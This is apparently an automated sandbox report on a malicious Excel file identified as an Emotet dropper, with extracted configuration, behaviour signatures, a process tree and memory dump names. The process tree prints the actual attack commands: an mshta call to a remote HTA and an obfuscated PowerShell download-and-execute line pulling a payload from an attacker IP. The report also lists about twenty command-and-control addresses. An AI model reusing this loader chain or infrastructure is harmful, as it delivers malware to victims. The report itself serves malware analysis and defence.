Analysis
- max time kernel
124s - max time network
179s - platform
windows10_x64 - resource
win10-en-20211208 - submitted
27/01/2022, 18:41
General
- Target tmpe4rjgs84.xls
- Size 154KB
- Sample220127-xbt3eahagp
- SHA256 512ac54cebef393a9e46590aebf2c2e78bc9b35b1bb5e160cdcc5196f027c6eb
Malware Config
Extracted
-
hta
-
hta.dropper
http://91.240.118.168/zqqw/zaas/fe.html
Extracted
-
ps1
-
ps1.dropper
http://91.240.118.168/zqqw/zaas/fe.png
Extracted
-
emotet
-
Epoch4
-
51.15.4.22:443
-
173.214.173.220:8080
-
212.237.5.209:443
-
192.254.71.210:443
-
216.158.226.206:443
-
162.243.175.63:443
-
212.24.98.99:8080
-
58.227.42.236:80
-
45.118.115.99:8080
-
104.251.214.46:8080
-
185.157.82.209:8080
-
46.55.222.11:443
-
188.40.137.206:8080
-
81.0.236.90:443
-
103.75.201.2:443
-
129.232.188.93:443
-
195.154.133.20:443
-
159.8.59.82:8080
-
79.172.212.216:8080
-
138.185.72.26:8080
Signatures
- Emotet
Emotet is a trojan that is primarily spread through spam emails.
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
- Blocklisted process makes network request 5 IoCs
- Downloads MZ/PE file
- Loads dropped DLL 2 IoCs
- Drops file in System32 directory 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Program crash 1 IoCs
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
- Suspicious behavior: EnumeratesProcesses 19 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of SetWindowsHookEx 13 IoCs
- Suspicious use of WriteProcessMemory 20 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\tmpe4rjgs84.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SYSTEM32\cmd.execmd /c mshta http://91.240.118.168/zqqw/zaas/fe.html2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\mshta.exemshta http://91.240.118.168/zqqw/zaas/fe.html3⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({FdrggvdRf}{FdrggvdRf}Ne{FdrggvdRf}{FdrggvdRf}w{FdrggvdRf}-Obj{FdrggvdRf}ec{FdrggvdRf}{FdrggvdRf}t N{FdrggvdRf}{FdrggvdRf}et{FdrggvdRf}.W{FdrggvdRf}{FdrggvdRf}e'.replace('{FdrggvdRf}', ''); $c4='bC{FdrggvdRf}li{FdrggvdRf}{FdrggvdRf}en{FdrggvdRf}{FdrggvdRf}t).D{FdrggvdRf}{FdrggvdRf}ow{FdrggvdRf}{FdrggvdRf}nl{FdrggvdRf}{FdrggvdRf}{FdrggvdRf}o'.replace('{FdrggvdRf}', ''); $c3='ad{FdrggvdRf}{FdrggvdRf}St{FdrggvdRf}rin{FdrggvdRf}{FdrggvdRf}g{FdrggvdRf}(''ht{FdrggvdRf}tp{FdrggvdRf}://91.240.118.168/zqqw/zaas/fe.png'')'.replace('{FdrggvdRf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,BBDD5⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWow64\rundll32.exeC:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,BBDD6⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\QWER.dll",DllRegisterServer7⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Cyrdg\vxtrs.wsr",SZAsvG8⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Cyrdg\vxtrs.wsr",DllRegisterServer9⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
-
-
-
-
-
-
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 4936 -s 18004⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
memory/868-636-0x0000000005970000-0x0000000005995000-memory.dmp
memory/868-634-0x00000000058F0000-0x0000000005915000-memory.dmp
memory/868-632-0x0000000005700000-0x0000000005725000-memory.dmp
memory/868-630-0x0000000005610000-0x0000000005635000-memory.dmp
memory/868-628-0x0000000005530000-0x0000000005555000-memory.dmp
memory/868-626-0x0000000005450000-0x0000000005475000-memory.dmp
memory/868-624-0x0000000005370000-0x0000000005395000-memory.dmp
memory/868-622-0x0000000005290000-0x00000000052B5000-memory.dmp
memory/868-619-0x00000000011F0000-0x0000000001215000-memory.dmp
memory/2356-607-0x00000000010C0000-0x00000000010E5000-memory.dmp
memory/2356-612-0x0000000004A70000-0x0000000004A95000-memory.dmp
memory/2356-617-0x0000000004C90000-0x0000000004CB5000-memory.dmp
memory/2356-603-0x00000000008E0000-0x0000000000905000-memory.dmp
memory/2356-614-0x0000000004AD0000-0x0000000004AF5000-memory.dmp
memory/2356-610-0x0000000004990000-0x00000000049B5000-memory.dmp
memory/2368-618-0x0000000004780000-0x00000000047A5000-memory.dmp
memory/2524-600-0x00000000005D0000-0x00000000005F5000-memory.dmp
memory/3540-119-0x00007FFBCE9E0000-0x00007FFBCE9F0000-memory.dmp
memory/3540-661-0x00007FFBCE9E0000-0x00007FFBCE9F0000-memory.dmp
memory/3540-664-0x00007FFBCE9E0000-0x00007FFBCE9F0000-memory.dmp
memory/3540-663-0x00007FFBCE9E0000-0x00007FFBCE9F0000-memory.dmp
memory/3540-662-0x00007FFBCE9E0000-0x00007FFBCE9F0000-memory.dmp
memory/3540-117-0x00007FFBCE9E0000-0x00007FFBCE9F0000-memory.dmp
memory/3540-118-0x00007FFBCE9E0000-0x00007FFBCE9F0000-memory.dmp
memory/3540-131-0x00007FFBCBCE0000-0x00007FFBCBCF0000-memory.dmp
memory/3540-130-0x00007FFBCBCE0000-0x00007FFBCBCF0000-memory.dmp
memory/3540-123-0x00007FFBCE9E0000-0x00007FFBCE9F0000-memory.dmp
memory/3540-120-0x00007FFBCE9E0000-0x00007FFBCE9F0000-memory.dmp
memory/4264-593-0x0000027A619C0000-0x0000027A61A70000-memory.dmp
memory/4264-276-0x0000027A79DB0000-0x0000027A79DD2000-memory.dmp
memory/4264-288-0x0000027A619C0000-0x0000027A61A70000-memory.dmp
memory/4264-293-0x0000027A619C0000-0x0000027A61A70000-memory.dmp
memory/4264-476-0x0000027A7A450000-0x0000027A7A4C6000-memory.dmp
memory/4264-351-0x0000027A7A390000-0x0000027A7A3CC000-memory.dmp